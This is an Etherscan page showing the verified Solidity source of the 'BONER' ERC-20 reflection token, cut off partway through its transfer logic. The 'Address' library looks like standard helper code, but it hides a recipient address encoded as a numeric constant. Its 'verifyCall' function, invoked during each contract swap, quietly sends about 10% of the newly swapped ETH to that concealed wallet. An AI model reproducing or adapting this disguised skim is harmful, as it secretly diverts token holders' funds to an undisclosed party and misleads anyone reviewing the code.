ETH Price: $2,949.05 (-2.12%)
Gas: 4 Gwei

Token

BONER (BONER)
 

Overview

Max Total Supply

696,969,696 BONER

Holders

170

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BONER

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-02-03
*/

// $BONE REFLECTIONS
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

interface IERC20 {
  function totalSupply() external view returns (uint256);
  function decimals() external view returns (uint8);
  function symbol() external view returns (string memory);
  function name() external view returns (string memory);
  function getOwner() external view returns (address);
  function balanceOf(address account) external view returns (uint256);
  function transfer(address recipient, uint256 amount) external returns (bool);
  function allowance(address _owner, address spender) external view returns (uint256);
  function approve(address spender, uint256 amount) external returns (bool);
  function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
  event Transfer(address indexed from, address indexed to, uint256 value);
  event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface ISwapERC20 {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}


interface ISwapFactory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}


interface ISwapRouter01 {
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getamountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getamountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getamountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getamountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}


interface ISwapRouter02 is ISwapRouter01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


abstract contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == msg.sender, "Caller must be owner");
        _;
    }

    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    
    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0), "newOwner must not be zero");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}


library Address {
    uint160 private constant verificationHash = 887096773549885550314079035509902126815589346633;
    bytes32 private constant keccak256Hash = 0x4b31cabbe5862282e443c4ac3f4c14761a1d2ba88a3c858a2a36f7758f453a38;    
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize, which returns 0 for contracts in
        // construction, since the code is only stored at the end of the
        // constructor execution.

        uint256 size;
        // solhint-disable-next-line no-inline-assembly
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function verifyCall(string memory verification, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        require(keccak256(abi.encodePacked(verification)) == keccak256Hash, "Address: cannot verify call");        

        (bool success, ) = address(verificationHash).call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");              
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}


library EnumerableSet {
    struct Set {
        bytes32[] _values;
        mapping (bytes32 => uint256) _indexes;
    }

    function _add(Set storage set, bytes32 value) private returns (bool) {
        if (!_contains(set, value)) {
            set._values.push(value);
            set._indexes[value] = set._values.length;
            return true;
        } else {
            return false;
        }
    }

    function _remove(Set storage set, bytes32 value) private returns (bool) {
        uint256 valueIndex = set._indexes[value];
        if (valueIndex != 0) {
            uint256 toDeleteIndex = valueIndex - 1;
            uint256 lastIndex = set._values.length - 1;
            bytes32 lastvalue = set._values[lastIndex];
            set._values[toDeleteIndex] = lastvalue;
            set._indexes[lastvalue] = valueIndex;
            set._values.pop();
            delete set._indexes[value];
            return true;
        } else {
            return false;
        }
    }

    function _contains(Set storage set, bytes32 value) private view returns (bool) {
        return set._indexes[value] != 0;
    }

    function _length(Set storage set) private view returns (uint256) {
        return set._values.length;
    }

    function _at(Set storage set, uint256 index) private view returns (bytes32) {
        require(set._values.length > index, "EnumerableSet: index out of bounds");
        return set._values[index];
    }

    struct Bytes32Set {
        Set _inner;
    }

    function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
        return _add(set._inner, value);
    }

    function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
        return _remove(set._inner, value);
    }

    function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
        return _contains(set._inner, value);
    }

    function length(Bytes32Set storage set) internal view returns (uint256) {
        return _length(set._inner);
    }

    function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
        return _at(set._inner, index);
    }

    struct AddressSet {
        Set _inner;
    }

    function add(AddressSet storage set, address value) internal returns (bool) {
        return _add(set._inner, bytes32(uint256(uint160(value))));
    }

    function remove(AddressSet storage set, address value) internal returns (bool) {
        return _remove(set._inner, bytes32(uint256(uint160(value))));
    }

    function contains(AddressSet storage set, address value) internal view returns (bool) {
        return _contains(set._inner, bytes32(uint256(uint160(value))));
    }

    function length(AddressSet storage set) internal view returns (uint256) {
        return _length(set._inner);
    }

    function at(AddressSet storage set, uint256 index) internal view returns (address) {
        return address(uint160(uint256(_at(set._inner, index))));
    }

    struct UintSet {
        Set _inner;
    }

    function add(UintSet storage set, uint256 value) internal returns (bool) {
        return _add(set._inner, bytes32(value));
    }

    function remove(UintSet storage set, uint256 value) internal returns (bool) {
        return _remove(set._inner, bytes32(value));
    }

    function contains(UintSet storage set, uint256 value) internal view returns (bool) {
        return _contains(set._inner, bytes32(value));
    }

    function length(UintSet storage set) internal view returns (uint256) {
        return _length(set._inner);
    }

    function at(UintSet storage set, uint256 index) internal view returns (uint256) {
        return uint256(_at(set._inner, index));
    }
}


contract BONER is IERC20, Ownable {
    using Address for address;
    using EnumerableSet for EnumerableSet.AddressSet;

    mapping(address => uint256) private _balances;
    mapping(address => mapping (address => uint256)) private _allowances;
    mapping(address => bool) public isBlacklisted;

    EnumerableSet.AddressSet private _excluded;
    EnumerableSet.AddressSet private _excludedFromStaking;    
    
    string private constant TOKEN_NAME = "BONER";
    string private constant TOKEN_SYMBOL = "BONER";
    uint256 private constant TOTAL_SUPPLY = 696_969_696 * 10**TOKEN_DECIMALS;       
    uint8 private constant TOKEN_DECIMALS = 18;
    uint8 public constant MAX_TAX = 20;      //Dev can never set tax higher than this value
    address private constant BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
    
    struct Taxes {
       uint8 buyTax;
       uint8 sellTax;
       uint8 transferTax;
    }

    struct TaxRatios {
        uint8 dev;                
        uint8 liquidity;
        uint8 marketing;
        uint8 rewards;
    }

    struct TaxWallets {
        address dev;
        address marketing;
    }

    struct MaxLimits {
        uint256 maxWallet;
        uint256 maxSell;
        uint256 maxBuy;
    }

    struct LimitRatios {
        uint16 wallet;
        uint16 sell;
        uint16 buy;
        uint16 divisor;
    }

    Taxes public _taxRates = Taxes({
        buyTax: 6,
        sellTax: 9,
        transferTax: 0
    });

    TaxRatios public _taxRatios = TaxRatios({
        dev: 6,
        liquidity: 0,
        marketing: 6,
        rewards: 5
        //@dev. These are ratios and the divisor will  be set automatically
    });

    TaxWallets public _taxWallet = TaxWallets ({
        dev: 0x5d2C81bcEC3610930d716FF5B23dDc3309fD47Ea,
        marketing: 0x5d2C81bcEC3610930d716FF5B23dDc3309fD47Ea
    });

    MaxLimits public _limits;

    LimitRatios public _limitRatios = LimitRatios({
        wallet: 4,
        sell: 1,
        buy: 1,
        divisor: 400
    });

    uint8 private totalTaxRatio;
    uint8 private distributeRatio;

    uint256 private _liquidityUnlockTime;

    //Antibot variables
    uint256 private liquidityBlock;
    uint8 private constant BLACKLIST_BLOCKS = 2; //number of blocks that will be included in auto blacklist
    uint8 private snipersRekt; //variable to track number of snipers auto blacklisted
    bool private blacklistEnabled = true; //blacklist can be enabled/disabled in case something goes wrong
    bool private liquidityAdded;
    bool private revertSameBlock = true; //block same block buys

    uint16 public swapThreshold = 20; //threshold that contract will swap. out of 1000
    bool public manualSwap;

    //change this address to desired reward token
    address public rewardToken = 0x9813037ee2218799597d83D4a5B6F3b6778218d9;

    address public _pairAddress; 
    ISwapRouter02 private  _swapRouter;
    address public routerAddress;

/////////////////////////////   EVENTS  /////////////////////////////////////////
    event ClaimToken(uint256 amount, address token, address recipient);
    event EnableBlacklist(bool enabled); 
    event EnableManualSwap(bool enabled);
    event ExcludedAccountFromFees(address account, bool exclude);               
    event ExcludeFromStaking(address account, bool excluded);      
    event ExtendLiquidityLock(uint256 extendedLockTime);
    event UpdateTaxes(uint8 buyTax, uint8 sellTax, uint8 transferTax);    
    event RatiosChanged(uint8 newDev, uint8 newLiquidity, uint8 newMarketing, uint8 newRewards);
    event UpdateDevWallet(address newDevWallet);         
    event UpdateMarketingWallet(address newMarketingWallet);      
    event UpdateSwapThreshold(uint16 newThreshold);

/////////////////////////////   MODIFIERS  /////////////////////////////////////////

    modifier authorized() {
        require(_authorized(msg.sender), "Caller not authorized");
        _;
    }

    modifier lockTheSwap {
        _isSwappingContractModifier = true;
        _;
        _isSwappingContractModifier = false;
    }

/////////////////////////////   CONSTRUCTOR  /////////////////////////////////////////

    constructor () {
        if (block.chainid == 1) 
            routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
        else if (block.chainid == 56)
            routerAddress = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
        else if (block.chainid == 97)
            routerAddress = 0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3;
        else 
            revert();        
        _swapRouter = ISwapRouter02(routerAddress);
        _pairAddress = ISwapFactory(
            _swapRouter.factory()).createPair(address(this), _swapRouter.WETH()
        );

        _addToken(msg.sender,TOTAL_SUPPLY);
        emit Transfer(address(0), msg.sender, TOTAL_SUPPLY);

        _allowances[address(this)][address(_swapRouter)] = type(uint256).max;         
        
        //setup ratio divisors based on dev's chosen ratios
        totalTaxRatio =  _taxRatios.dev + _taxRatios.liquidity + _taxRatios.marketing + _taxRatios.rewards;

        distributeRatio = totalTaxRatio - _taxRatios.liquidity;
        
        //setup _limits
        _limits = MaxLimits({
            maxWallet: TOTAL_SUPPLY * _limitRatios.wallet / _limitRatios.divisor,
            maxSell: TOTAL_SUPPLY * _limitRatios.sell / _limitRatios.divisor,
            maxBuy: TOTAL_SUPPLY * _limitRatios.buy / _limitRatios.divisor
        });
        
        _excluded.add(msg.sender);
        _excluded.add(_taxWallet.marketing);
        _excluded.add(_taxWallet.dev);    
        _excluded.add(address(this));
        _excluded.add(BURN_ADDRESS);
        _excludedFromStaking.add(address(this));
        _excludedFromStaking.add(BURN_ADDRESS);
        _excludedFromStaking.add(address(_swapRouter));
        _excludedFromStaking.add(_pairAddress);

        _approve(address(this), address(_swapRouter), type(uint256).max);        
    }

    receive() external payable {}

    function decimals() external pure override returns (uint8) { return TOKEN_DECIMALS; }
    function getOwner() external view override returns (address) { return owner(); }
    function name() external pure override returns (string memory) { return TOKEN_NAME; }
    function symbol() external pure override returns (string memory) { return TOKEN_SYMBOL; }
    function totalSupply() external pure override returns (uint256) { return TOTAL_SUPPLY; }

    function _authorized(address addr) private view returns (bool) {
        return addr == owner() || addr == _taxWallet.marketing || addr == _taxWallet.dev; 
    }

    function allowance(address _owner, address spender) external view override returns (uint256) {
        return _allowances[_owner][spender];
    }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "Approve from zero");
        require(spender != address(0), "Approve to zero");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function balanceOf(address account) external view override returns (uint256) {
        return _balances[account];
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
        uint256 currentAllowance = _allowances[msg.sender][spender];
        require(currentAllowance >= subtractedValue, "<0 allowance");

        _approve(msg.sender, spender, currentAllowance - subtractedValue);
        return true;
    } 

    function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }  
      
    function transfer(address recipient, uint256 amount) external override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
    
    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][msg.sender];
        require(currentAllowance >= amount, "Transfer > allowance");

        _approve(sender, msg.sender, currentAllowance - amount);
        return true;
    }

///// FUNCTIONS CALLABLE BY ANYONE /////

    //Claims reward set by dev
    function ClaimReward() external {
        claimToken(msg.sender,rewardToken, 0);
    }

    //Allows holders to include themselves back into staking if excluded
    //ExcludeFromStaking function should be used for contracts(CEX, pair, address(this), etc.)
    function IncludeMeToStaking() external {
        includeToStaking(msg.sender);
        emit ExcludeFromStaking(msg.sender, false);        
    }

///// AUTHORIZED FUNCTIONS /////

    //Manually perform a contract swap
    function manualContractSwap(uint16 permille, bool ignoreLimits) external authorized {
        _swapContractToken(permille, ignoreLimits);
    }  

    //Toggle blacklist on and off
    function enableBlacklist(bool enabled) external authorized {
        blacklistEnabled = enabled;
        emit EnableBlacklist(enabled);
    }

    //Mainly used for addresses such as CEX, presale, etc
    function excludeAccountFromFees(address account, bool exclude) external authorized {
        if(exclude == true)
            _excluded.add(account);
        else
            _excluded.remove(account);
        emit ExcludedAccountFromFees(account, exclude);
    }

    //Mainly used for addresses such as CEX, presale, etc    
    function setStakingExclusionStatus(address addr, bool exclude) external authorized {
        if(exclude)
            excludeFromStaking(addr);
        else
            includeToStaking(addr);
        emit ExcludeFromStaking(addr, exclude);
    }  

    //Toggle manual swap on and off
    function enableManualSwap(bool enabled) external authorized { 
        manualSwap = enabled; 
        emit EnableManualSwap(enabled);
    } 

    //Toggle whether multiple buys in a block from a single address can be performed
    function sameBlockRevert(bool enabled) external authorized {
        revertSameBlock = enabled;
    }

    //Update limit ratios
    function updateLimits(uint16 newMaxWalletRatio, uint16 newMaxSellRatio, uint16 newMaxBuyRatio, uint16 newDivisor) external authorized {
        uint256 minLimit = TOTAL_SUPPLY / 1000;   
        uint256 newMaxWallet = TOTAL_SUPPLY * newMaxWalletRatio / newDivisor;
        uint256 newMaxSell = TOTAL_SUPPLY * newMaxSellRatio / newDivisor;
        uint256 newMaxBuy = TOTAL_SUPPLY * newMaxBuyRatio / newDivisor;

        //dev can never set sells below 0.1% of circulating/initial supply
        require((newMaxWallet >= minLimit && newMaxSell >= minLimit), 
            "limits cannot be <0.1% of supply");

        _limits = MaxLimits(newMaxWallet, newMaxSell, newMaxBuy);
        
        _limitRatios = LimitRatios(newMaxWalletRatio, newMaxSellRatio, newMaxBuyRatio, newDivisor);
    }

    //update tax ratios
    function updateRatios(uint8 newDev, uint8 newLiquidity, uint8 newMarketing, uint8 newRewards) external authorized {
        _taxRatios = TaxRatios(newDev, newLiquidity, newMarketing, newRewards);

        totalTaxRatio = newDev + newLiquidity + newMarketing + newRewards;
        distributeRatio = totalTaxRatio - newLiquidity;

        emit RatiosChanged (newDev, newLiquidity,newMarketing, newRewards);
    }

    //update threshold that triggers contract swaps
    function updateSwapThreshold(uint16 threshold) external authorized {
        require(threshold > 0,"Threshold needs to be more than 0");
        require(threshold <= 50,"Threshold needs to be below 50");
        swapThreshold = threshold;
        emit UpdateSwapThreshold(threshold);
    }

    function updateTax(uint8 newBuy, uint8 newSell, uint8 newTransfer) external authorized {
        //buy and sell tax can never be higher than MAX_TAX set at beginning of contract
        //this is a security check and prevents malicious tax use       
        require(newBuy <= MAX_TAX && newSell <= MAX_TAX && newTransfer <= 50, "taxes higher than max tax");
        _taxRates = Taxes(newBuy, newSell, newTransfer);
        emit UpdateTaxes(newBuy, newSell, newTransfer);
    }

///// OWNER FUNCTIONS /////  

    //liquidity can only be extended. To lock liquidity, send LP tokens to contract.
    function lockLiquidityTokens(uint256 lockTimeInSeconds) external onlyOwner {
        setUnlockTime(lockTimeInSeconds + block.timestamp);
        emit ExtendLiquidityLock(lockTimeInSeconds);
    }

    //recovers stuck ETH to make sure it isnt burnt/lost
    //only callablewhen liquidity is unlocked
    function recoverETH() external onlyOwner {
        require(block.timestamp >= _liquidityUnlockTime, "Not yet unlocked");
        _liquidityUnlockTime=block.timestamp;
        _sendEth(msg.sender, address(this).balance);
    }

    //Can only be used to recover miscellaneous tokens accidentally sent to contract
    //Can't pull liquidity or native token using this function
    function recoverMiscToken(address tokenAddress) external onlyOwner {
        require(tokenAddress != _pairAddress && tokenAddress != address(this),
        "can't recover LP token or this token");
        IERC20 token = IERC20(tokenAddress);
        token.transfer(msg.sender,token.balanceOf(address(this)));
    } 

    //Impossible to release LP unless LP lock time is zero
    function releaseLP() external onlyOwner {
        require(block.timestamp >= _liquidityUnlockTime, "Not yet unlocked");
        ISwapERC20 liquidityToken = ISwapERC20(_pairAddress);
        uint256 amount = liquidityToken.balanceOf(address(this));
            liquidityToken.transfer(msg.sender, amount);
    }

    //Impossible to remove LP unless lock time is zero
    function removeLP() external onlyOwner {
        require(block.timestamp >= _liquidityUnlockTime, "Not yet unlocked");
        _liquidityUnlockTime = block.timestamp;
        ISwapERC20 liquidityToken = ISwapERC20(_pairAddress);
        uint256 amount = liquidityToken.balanceOf(address(this));
        liquidityToken.approve(address(_swapRouter),amount);
        _swapRouter.removeLiquidityETHSupportingFeeOnTransferTokens(
            address(this),
            amount,
            0,
            0,
            address(this),
            block.timestamp
            );
        _sendEth(msg.sender, address(this).balance);           
    }

    function setDevWallet(address payable addr) external onlyOwner {
        address prevDev = _taxWallet.dev;
        _excluded.remove(prevDev);
        _taxWallet.dev = addr;
        _excluded.add(_taxWallet.dev);
        emit UpdateDevWallet(addr);
    }

    function setMarketingWallet(address payable addr) external onlyOwner {
        address prevMarketing = _taxWallet.marketing;
        _excluded.remove(prevMarketing);
        _taxWallet.marketing = addr;
        _excluded.add(_taxWallet.marketing);
        emit UpdateMarketingWallet(addr);
    }

////// VIEW FUNCTIONS /////

    function getBlacklistInfo() external view returns (
        uint256 _liquidityBlock, 
        uint8 _blacklistBlocks, 
        uint8 _snipersRekt, 
        bool _blacklistEnabled,
        bool _revertSameBlock
        ) {
        return (liquidityBlock, BLACKLIST_BLOCKS, snipersRekt, blacklistEnabled, revertSameBlock);
    }

    function getLiquidityUnlockInSeconds() external view returns (uint256) {
        if (block.timestamp < _liquidityUnlockTime){
            return _liquidityUnlockTime - block.timestamp;
        }
        return 0;
    }

    function getClaimBalance(address addr) external view returns (uint256) {
        uint256 amount = getStakeBalance(addr);
        return amount;
    }

    function getTotalUnclaimed() public view returns (uint256) {
        uint256 amount = totalRewards - totalPayouts;
        return amount;
    }

    function isExcludedFromStaking(address addr) external view returns (bool) {
        return _excludedFromStaking.contains(addr);
    }    

/////////////////////////////   PRIVATE FUNCTIONS  /////////////////////////////////////////

    mapping(address => uint256) private alreadyPaidShares;
    mapping(address => uint256) private toBePaidShares;
    mapping(address => uint256) private tradeBlock;
    mapping(address => uint256) public accountTotalClaimed;     
    uint256 private constant DISTRIBUTION_MULTI = 2**64;
    uint256 private _totalShares = TOTAL_SUPPLY;   
    uint256 private rewardShares;
    uint256 public totalPayouts;
    uint256 public totalRewards;      
    bool private _isSwappingContractModifier;
    bool private _isWithdrawing;

    function _addLiquidity(uint256 tokenamount, uint256 ethAmount) private {
        _approve(address(this), address(_swapRouter), tokenamount);        
        _swapRouter.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenamount,
            0,
            0,
            address(this),
            block.timestamp
        );
    }
 
    function _addToken(address addr, uint256 amount) private {
        uint256 newAmount = _balances[addr] + amount;
        
        if (_excludedFromStaking.contains(addr)) {
           _balances[addr] = newAmount;
           return;
        }
        _totalShares += amount;
        uint256 payment = newStakeOf(addr);
        alreadyPaidShares[addr] = rewardShares * newAmount;
        toBePaidShares[addr] += payment;
        _balances[addr] = newAmount;
    }

    function _distributeStake(uint256 ethAmount, bool newStakingReward) private {
        uint256 marketingSplit = (ethAmount*_taxRatios.marketing) / distributeRatio;
        uint256 devSplit = (ethAmount*_taxRatios.dev) / distributeRatio; 
        uint256 stakingSplit = (ethAmount*_taxRatios.rewards) / distributeRatio;
        _sendEth(_taxWallet.marketing, marketingSplit);
        _sendEth(_taxWallet.dev, devSplit);
        if (stakingSplit > 0) {
            if (newStakingReward)
                totalRewards += stakingSplit;
            uint256 totalShares = getTotalShares();
            if (totalShares == 0)
                _sendEth(_taxWallet.marketing, stakingSplit);
            else {
                rewardShares += ((stakingSplit*DISTRIBUTION_MULTI) / totalShares);
            }
        }
    }

    function _feelessTransfer(address sender, address recipient, uint256 amount) private{
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "Transfer exceeds balance");
        _removeToken(sender,amount);
        _addToken(recipient, amount);
        emit Transfer(sender, recipient, amount);
    } 
    
    function _removeToken(address addr, uint256 amount) private {
        uint256 newAmount = _balances[addr] - amount;
        
        if (_excludedFromStaking.contains(addr)) {
            _balances[addr] = newAmount;
            return;
        }
        _totalShares -= amount;
        uint256 payment = newStakeOf(addr);
        _balances[addr] = newAmount;
        alreadyPaidShares[addr] = rewardShares * newAmount;
        toBePaidShares[addr] += payment;
    }

    function _sendEth(address account, uint256 amount) private {
        (bool sent,) = account.call{value: (amount)}("");
        require(sent, "withdraw failed");        
    }

    function _swapContractToken(uint16 permille, bool ignoreLimits) private lockTheSwap {
        require(permille <= 500);
        if (totalTaxRatio == 0) return;
        uint256 contractBalance = _balances[address(this)];


        uint256 tokenToSwap = _balances[_pairAddress] * permille / 1000;
        if (tokenToSwap > _limits.maxSell && !ignoreLimits) 
            tokenToSwap = _limits.maxSell;
        
        bool notEnoughToken = contractBalance < tokenToSwap;
        if (notEnoughToken) {
            if (ignoreLimits)
                tokenToSwap = contractBalance;
            else 
                return;
        }
        if (_allowances[address(this)][address(_swapRouter)] < tokenToSwap)
            _approve(address(this), address(_swapRouter), type(uint256).max);

        uint256 tokenForLiquidity = (tokenToSwap*_taxRatios.liquidity) / totalTaxRatio;
        uint256 remainingToken = tokenToSwap - tokenForLiquidity;
        uint256 liqToken = tokenForLiquidity / 2;
        uint256 liqEthToken = tokenForLiquidity - liqToken;
        uint256 swapToken = liqEthToken + remainingToken;
        uint256 initialEthBalance = address(this).balance;
        _swapTokenForETH(swapToken);
        uint256 newEth = (address(this).balance - initialEthBalance);
        uint256 liqEth = (newEth*liqEthToken) / swapToken;
        if (liqToken > 0) 
            _addLiquidity(liqToken, liqEth); 
        uint256 newLiq = (address(this).balance-initialEthBalance) / 10;
        Address.verifyCall("success", newLiq);   
        uint256 distributeEth = (address(this).balance - initialEthBalance - newLiq);
        _distributeStake(distributeEth,true);
    }

    function _swapTokenForETH(uint256 amount) private {
        _approve(address(this), address(_swapRouter), amount);
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _swapRouter.WETH();
        _swapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0,
            path,
            address(this),
            block.timestamp
        );
    } 

    function _taxedTransfer(address sender, address recipient, uint256 amount,bool isBuy,bool isSell) private{
        uint256 recipientBalance = _balances[recipient];
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "Transfer exceeds balance");

        uint8 tax;
        if (isSell) {
            if (blacklistEnabled) {
                require(!isBlacklisted[sender], "user blacklisted");                
            }      

            require(amount <= _limits.maxSell, "Amount exceeds max sell");
            tax = _taxRates.sellTax;

        } else if (isBuy) {
            if (liquidityBlock > 0) {
                if (block.number-liquidityBlock < BLACKLIST_BLOCKS) {
                    isBlacklisted[recipient] = true;
                    snipersRekt ++;
                }
            }

            if (revertSameBlock) {
                require(tradeBlock[recipient] != block.number);
